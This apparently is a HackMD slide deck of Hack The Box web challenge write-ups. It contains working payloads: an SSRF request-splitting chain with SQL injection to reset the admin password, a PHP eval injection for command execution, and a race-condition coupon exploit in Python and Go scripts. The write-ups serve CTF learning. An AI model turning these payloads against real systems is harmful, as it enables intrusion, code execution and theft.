# <span style="color: gold;">Weather App</span>
<!-- .slide: data-background="https://icon-library.com/images/weather-icon-gif/weather-icon-gif-15.jpg" data-background-size="90%" -->
---
## Overview
---

This challenge has source code, let's download and review it. :sunny:
---

---
The app has routes:
- /
- /register
- /login
- /api/weather
If you can login as admin, you will get flag :triangular_flag_on_post: but /register only provide for local (127.0.0.1).
Only one `/api/weather` left, `/api/weather` is key ?
Let's solve this challenge together, shall we!!!
---
## Analysis
---
### /login
``` javascript [6|8-13]
router.get('/login', (req, res) => {
return res.sendFile(path.resolve('views/login.html'));
});
router.post('/login', (req, res) => {
let { username, password } = req.body;
if (username && password) {
return db.isAdmin(username, password)
.then(admin => {
if (admin) return res.send(fs.readFileSync('/app/flag').toString());
return res.send(response('You are not admin'));
})
.catch(() => res.send(response('Something went wrong')));
}
return re.send(response('Missing parameters'));
});
```
As mentioned above, the final task is to log in to the admin account
---
### /register
```javascript= [3-5]
router.post('/register', (req, res) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return res.status(401).end();
}
let { username, password } = req.body;
if (username && password) {
return db.register(username, password)
.then(() => res.send(response('Successfully registered')))
.catch(() => res.send(response('Something went wrong')));
}
return res.send(response('Missing parameters'));
});
```
Only local can register. When I read up to this point, I tried to use SSRF to register, but unfortunately :cry:
it couldn't bypass. So i continue read `/api/weather`
---
### /api/weather
```javascript= [2|5]
router.post('/api/weather', (req, res) => {
let { endpoint, city, country } = req.body;
if (endpoint && city && country) {
return WeatherHelper.getWeather(res, endpoint, city, country);
}
return res.send(response('Missing parameters'));
});
```
Note: This is api weather, post request with 3 datas: endpoint, city, country in body and `WeatherHelper.getWeather` takes those parameters to process. From here, we can see that the API trusts any data sent to it :open_mouth:. Let's see what WeatherHelper.getWeather does.
---
#### getWeather
```javascript= [5]
async getWeather(res, endpoint, city, country) {
// *.openweathermap.org is out of scope
let apiKey = '10a62430af617a949055a46fa6dec32f';
let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);
if (weatherData.name) {
let weatherDescription = weatherData.weather[0].description;
let weatherIcon = weatherData.weather[0].icon.slice(0, -1);
let weatherTemp = weatherData.main.temp;
switch (parseInt(weatherIcon)) {
case 2: case 3: case 4:
weatherIcon = 'icon-clouds';
break;
case 9: case 10:
weatherIcon = 'icon-rain';
break;
case 11:
weatherIcon = 'icon-storm';
break;
case 13:
weatherIcon = 'icon-snow';
break;
default:
weatherIcon = 'icon-sun';
break;
}
return res.send({
desc: weatherDescription,
icon: weatherIcon,
temp: weatherTemp,
});
}
return res.send({
error: `Could not find ${city} or ${country}`
});
}
```
Note: `getWeather` only makes a get request to endpoint url, this means that even if we successfully perform SSRF, we can only send a GET request.
"If we perform SSRF successfully and are able to send a POST request, what could we do?"
---
```javascript= [5-6]
async register(user, pass) {
// TODO: add parameterization and roll public
return new Promise(async (resolve, reject) => {
try {
let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
resolve((await this.db.run(query)));
} catch(e) {
reject(e);
}
});
}
```
`register` has a vul SQLi
---
```javascript= [4-6]
async isAdmin(user, pass) {
return new Promise(async (resolve, reject) => {
try {
let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
let row = await smt.get(user, pass);
resolve(row !== undefined ? row.username == 'admin' : false);
} catch(e) {
reject(e);
}
});
}
```
but `isAdmin` does not
---
<!-- .slide: data-background="https://i.imgflip.com/2e8syk.jpg" data-background-size="50%" data-background-opacity="0.6"-->
From here, we can understand the author's intention, which is to chain the SSRF vulnerabilities and then exploit SQL injection to reset admin's password :exploding_head:
```sequence
Attacker->App: SSRF via /api/weather to register
Note right of Attacker: (if u can send post request)
App -> DB: SQLi to reset passwd admin
```
Note: But... how to send post request ??? in package.json has "nodeVersion": "v8.12.0" so i searched: "node Version 8.12.0 ssrf"
---

Note: All search results lead to `Http request/response splitting`.
After reading for a while, I got confused between the types of attacks: HTTP Request splitting, CRLF, and HTTP request smuggling :dizzy_face:.
---
I simply understand that by exploiting the encoding process using the latin1 type, an attacker can ask the server to send multiple requests, leading to being vulnerable to SSRF.

---
Dont use HTTP Request splitting
```sequence
Attacker->/api/weather: Post: endpoint=127.0.0.1,...
Note right of Attacker: ("It may be SSRF, but not SQLi.")
/api/weather -> /register: Get
/register -> DB: not injected
```
---
Use HTTP Request splitting
```sequence
Attacker->/api/weather: Post: endpoint=127.0.0.1 + ...+ Post + ...,...
Note right of Attacker: ("Get FLAGGGGG")
/api/weather -> /register: Get
/api/weather -> /register: Post
/register -> DB: injected
```
---
### Exploit
---
Start construct payload, pay attention to the query in `register`:
`INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`
Note: The following SQL query inserts a new row into the "users" table with the username "admin" and password "1". However, if there is a conflict (i.e., if there is already a row in the table with the same username), the statement will update the password for that row to "admin" instead.
---
INSERT INTO users (username, password) VALUES ('admin', '<span><!-- .element: class="fragment highlight-red" -->1') ON CONFLICT(username) DO UPDATE SET password = '1';-- -</span>')
---
So i inject:
```
username=admin
password=1') ON CONFLICT(username) DO UPDATE SET password = '1';--
```
Note: I found github: https://github.com/Cameleopardus/latin1enctrunc_payload_generator i felt very easy rewrite code python to gen payload
---
web.txt
```txt=
127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
POST /register HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 87
username=admin&password=1%27) ON CONFLICT(username) DO UPDATE SET password = %271%27;--
GET /wtfidontknowwhy
```
---
solve.py
```python=
import requests
url = "http://178.128.42.78:30783"
f = open("web.txt", 'rb')
data = f.read()
print(data)
def encode_latin1(data):
return "".join(chr(i+256) if i in [9,10,13,32] else chr(i) for i in data)
payload = encode_latin1(data)
print(payload)
json={'endpoint':payload,'city':'a','country':'a'}
res=requests.post(url=url+'/api/weather',json=json)
print(res.text)
```
---
Login with password `1` and get flagggg:


Nah so hard, I feel like I've improved more
---
---
# <span style="color: #FF69B4;">LoveTok</span>
<!-- .slide: data-background="https://hackmd.io/_uploads/SkcF6wKF2.gif" data-background-size="100%" data-background-opacity="0.6" -->
---
## Overview
---

Note: This challenge has source code, let's download and review it.
---
Flag's name is random

so we definitely have to RCE
---

---
hmm have vul in param `format=`

---
not ssti, dont guessing, try open source :open_file_folder:

---

---

---
## Analysis
---
`TimeController.php`
```php= [6-8]
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
```
---
`TimeModel.php`
```php= [6|14]
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
```
Note: When I saw that line 14 used eval and string concatenation, I attempted command injection but was unsuccessful because `addslashes()` was filter.
---


---

---
Is there any other way to do it without using the aforementioned things?
---

---
http://138.68.141.218:30059/?format=`${phpinfo()}`

---

---
`${system($_GET[cmd])}&cmd=ls` <=> `$cmd="ls";system($cmd);`

---


---
Additionally, there is another way.



---
# <span style="color: #ff4500; ">Diogenes' Rage</span>
<!-- .slide: data-background="https://hackmd.io/_uploads/SyqtV-yq2.gif" data-background-size="100%" data-background-opacity="" -->
---
## Overview
---

---

---

---

---

---

---
`/api/reset`: reset session
```javascript=
router.get('/api/reset', async (req, res) => {
res.clearCookie('session');
res.send(response("Insert coins below!"));
});
```
---
`/api/coupons/apply`: post ticket
```javascript=
router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { coupon_code } = req.body;
if (coupon_code) {
if (user.coupons.includes(coupon_code)) {
return res.status(401).send(response("This coupon is already redeemed!"));
}
return db.getCouponValue(coupon_code)
.then(coupon => {
if (coupon) {
return db.addBalance(user.username, coupon.value)
.then(() => {
db.setCoupon(user.username, coupon_code)
.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
})
.catch(() => res.send(response("Failed to redeem the coupon!")));
}
res.send(response("No such coupon exists!"));
})
}
return res.status(401).send(response("Missing required parameters!"));
});
});
```
---
`/api/purchase`: purchase items
```javascript=
router.post('/api/purchase', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { item } = req.body;
if (item) {
return db.getProduct(item)
.then(product => {
if (product == undefined) return res.send(response("Invalid item code supplied!"));
if (product.price <= user.balance) {
newBalance = parseFloat(user.balance - product.price).toFixed(2);
return db.setBalance(req.data.username, newBalance)
.then(() => {
if (product.item_name == 'C8') return res.json({
flag: fs.readFileSync('/app/flag').toString(),
message: `Thank you for your order! $${newBalance} coupon credits left!`
})
res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
});
}
return res.status(403).send(response("Insufficient balance!"));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
});
```
---
## Analysis
---
At the beginning, I tried to find SQLi but couldn't because all queries used prepared statements.
```javascript= [4-5]
async addBalance(user, coupon_value) {
return new Promise(async (resolve, reject) => {
try {
let stmt = await this.db.prepare('UPDATE userData SET balance = balance + ? WHERE username = ?');
resolve((await stmt.run(coupon_value, user)));
} catch(e) {
reject(e);
}
});
}
```
---
Start with `/api/coupons/apply`
```javascript= [5|9-10|15|17-18]
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { coupon_code } = req.body;
if (coupon_code) {
if (user.coupons.includes(coupon_code)) {
return res.status(401).send(response("This coupon is already redeemed!"));
}
return db.getCouponValue(coupon_code)
.then(coupon => {
if (coupon) {
return db.addBalance(user.username, coupon.value)
.then(() => {
db.setCoupon(user.username, coupon_code)
.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
})
.catch(() => res.send(response("Failed to redeem the coupon!")));
}
res.send(response("No such coupon exists!"));
})
}
return res.status(401).send(response("Missing required parameters!"));
});
```
---
Continue with `/api/purchase`
```javascript= [6|13-15|17-19]
router.post('/api/purchase', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { item } = req.body;
if (item) {
return db.getProduct(item)
.then(product => {
if (product == undefined) return res.send(response("Invalid item code supplied!"));
if (product.price <= user.balance) {
newBalance = parseFloat(user.balance - product.price).toFixed(2);
return db.setBalance(req.data.username, newBalance)
.then(() => {
if (product.item_name == 'C8') return res.json({
flag: fs.readFileSync('/app/flag').toString(),
message: `Thank you for your order! $${newBalance} coupon credits left!`
})
res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
});
}
return res.status(403).send(response("Insufficient balance!"));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
});
```
---
After reviewing all the source code, I wondered to myself: `what is the vulnerability after all?`

---
It's a bit embarrassing :sob:, but I had to read the write-up and known that the vulnerability in this challenge is `race condition`

---
But where is the `race condition` ? `/api/purchase` or `/api/coupons/apply` ?

Absolutely <span> "/api/purchase" cuz only posting a ticket increases the balance.<!-- .element: class="fragment" data-fragment-index="1" --> </span>
---

---
```javascript= [1-8|13-20]
router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { coupon_code } = req.body;
if (coupon_code) {
if (user.coupons.includes(coupon_code)) {
return res.status(401).send(response("This coupon is already redeemed!"));
}
return db.getCouponValue(coupon_code)
.then(coupon => {
if (coupon) {
return db.addBalance(user.username, coupon.value)
.then(() => {
db.setCoupon(user.username, coupon_code)
.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
})
.catch(() => res.send(response("Failed to redeem the coupon!")));
}
res.send(response("No such coupon exists!"));
})
}
return res.status(401).send(response("Missing required parameters!"));
});
});
```
Note:
We can see from lines 13-20 that the processing takes time but there is no protection, so a race condition occurs here.
The race condition we are targeting is to increase the balance of a session (a user), but if we do it like above, we will only receive new sessions. So, what if we add the cookie we just received in the response of /api/coupons/apply to a new request?
---

---
```javascript= [8-12]
router.post('/api/coupons/apply', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { coupon_code } = req.body;
if (coupon_code) {
if (user.coupons.includes(coupon_code)) {
return res.status(401).send(response("This coupon is already redeemed!"));
}
return db.getCouponValue(coupon_code)
.then(coupon => {
if (coupon) {
return db.addBalance(user.username, coupon.value)
.then(() => {
db.setCoupon(user.username, coupon_code)
.then(() => res.send(response(`$${coupon.value} coupon redeemed successfully! Please select an item for order.`)))
})
.catch(() => res.send(response("Failed to redeem the coupon!")));
}
res.send(response("No such coupon exists!"));
})
}
return res.status(401).send(response("Missing required parameters!"));
});
});
```
---
All I want is a cookie that doesn't set Coupon and luckily `/api/purchase` helped me do that.

---

---
```javascript= [4-7]
router.post('/api/purchase', AuthMiddleware, async (req, res) => {
return db.getUser(req.data.username)
.then(async user => {
if (user === undefined) {
await db.registerUser(req.data.username);
user = { username: req.data.username, balance: 0.00, coupons: '' };
}
const { item } = req.body;
if (item) {
return db.getProduct(item)
.then(product => {
if (product == undefined) return res.send(response("Invalid item code supplied!"));
if (product.price <= user.balance) {
newBalance = parseFloat(user.balance - product.price).toFixed(2);
return db.setBalance(req.data.username, newBalance)
.then(() => {
if (product.item_name == 'C8') return res.json({
flag: fs.readFileSync('/app/flag').toString(),
message: `Thank you for your order! $${newBalance} coupon credits left!`
})
res.send(response(`Thank you for your order! $${newBalance} coupon credits left!`))
});
}
return res.status(403).send(response("Insufficient balance!"));
})
}
return res.status(401).send(response('Missing required parameters!'));
});
});
```
---

Note: Okey now get cookie and attack race condition
---

---
I used basic.py but made some changes to it.

---
Remember to copy the cookie from the response of `/api/purchase` and my file `HTB_100.txt` contains 500 words`HTB_100`.

---
500/500 response 200 ? amazing, that's first time
In previous attempts, I only got around 30/500.

---

---
This is a Golang script I found, although it runs 20 goroutines, it seems to need to be run multiple times to succeed (or maybe due to my poor internet connection).
```go=
package main
import (
"fmt"
"io"
"log"
"net/http"
"net/http/cookiejar"
"os"
"strings"
"sync"
)
const (
UrlBase = "http://159.65.81.48:31241"
EndpointApplyCoupon = "/api/coupons/apply"
EndpointPurchase = "/api/purchase"
)
func main() {
// http client with cookie jar
jar, _ := cookiejar.New(nil)
client := &http.Client{
Jar: jar,
}
// attempt to purchase the item once to store cookie in jar
_, err := client.Post(
fmt.Sprintf("%s%s", UrlBase, EndpointPurchase),
"application/json",
strings.NewReader(`{"item":"C8"}`),
)
if err != nil {
log.Fatal(err)
}
// run the exploit; multiple concurrent requests to apply the coupon
var wg sync.WaitGroup
for i := 0; i < 20; i++ {
go func() {
wg.Add(1)
defer wg.Done()
resp, err := client.Post(
fmt.Sprintf("%s%s", UrlBase, EndpointApplyCoupon),
"application/json",
strings.NewReader(`{"coupon_code":"HTB_100"}`),
)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
}()
}
// wait for all coupon application requests to finish
wg.Wait()
// purchase the item!
resp, err := client.Post(
fmt.Sprintf("%s%s", UrlBase, EndpointPurchase),
"application/json",
strings.NewReader(`{"item":"C8"}`),
)
if err != nil {
log.Fatal(err)
}
defer resp.Body.Close()
io.Copy(os.Stdout, resp.Body)
}
```
---

---
{"description":"type: Slide","slideOptions":"{\"transition\":\"slide\",\"theme\":\"white\"}","title":"HTB Easy Challenges","contributors":"[{\"id\":\"c74bbc54-aa8b-4410-98f5-4e5d80703bc6\",\"add\":26874,\"del\":3081}]"}